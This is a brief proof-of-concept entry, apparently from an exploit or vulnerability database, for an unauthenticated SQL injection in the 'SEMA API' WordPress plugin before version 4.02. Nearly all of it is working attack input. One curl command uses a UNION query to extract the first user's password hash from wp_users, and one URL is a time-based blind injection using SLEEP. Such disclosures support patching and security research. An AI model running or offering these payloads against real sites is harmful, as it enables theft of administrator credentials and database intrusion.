SEMA API < 4.02 - Unauthenticated SQLi

v < 3.64:
curl http://example.com/wp-admin/admin-ajax.php --data 'action=get_semadata&type=attributes&catid=-3 UNION ALL SELECT 1,2,3,(SELECT user_pass FROM wp_users WHERE ID = 1),5-- -'

v < 4.02
https://example.com/wp-admin/admin-ajax.php?action=get_semadata&type=deleteattribute&catid=1&attrids=1%29 AND %28SELECT 42 FROM %28SELECT%28SLEEP%285%29%29%29b